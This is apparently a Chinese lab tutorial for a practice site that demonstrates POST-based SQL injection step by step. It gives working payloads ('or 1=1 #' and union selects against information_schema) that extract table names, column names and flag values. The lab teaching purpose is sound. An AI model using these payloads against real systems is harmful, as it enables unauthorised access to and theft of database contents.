POST注入(一)
POST(一)
注入环境:http://inject2.lab.aqlab.cn:81/Pass-05/index.php
攻击流程:
1;判断是否存在sql注入漏洞。
2;判断网页存在字段数。
3;判断回显点。
4;获取信息。
测试开始:
测试目标获取管理员账号密码
GET/POST
区别:
GET传参的数据有限,比较少
POST传参的数据可以比较大
可以达到很多效果 —— 文件上传
GET传参会经过URL编码
POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码
POST注入—前后端使用post方法,在“框”中传递参数。表象如下图:
select * from user where username=‘a’ or 1=1 #
表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。
1;判断是否存在sql注入漏洞。数据的数据能发现交互,说明存在注入
2;判断网页存在字段数。
这里我们1,2,3都判断了,一直判断到4的时候报错,那么就说明这里的字段有3段
3;判断回显点。
这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询
4;获取信息。
4;获取信息。
a’ union select 1,database(),version()#
获取当前正在使用的数据库
和数据库版本
获取当前数据库表名
a’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
注释:information_schema group_concat() table_name table_schema
不懂的请看显错注入(一)显错注入(一)
获取表的字段名(flag表)
a’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’ #
注释:information_schema group_concat() table_name table_schema column_name
不懂的请看显错注入(一)显错注入(一)
获取字段值
a’ union select 1,group_concat(Id),group_concat(flag) from flag #
获取成功!!!!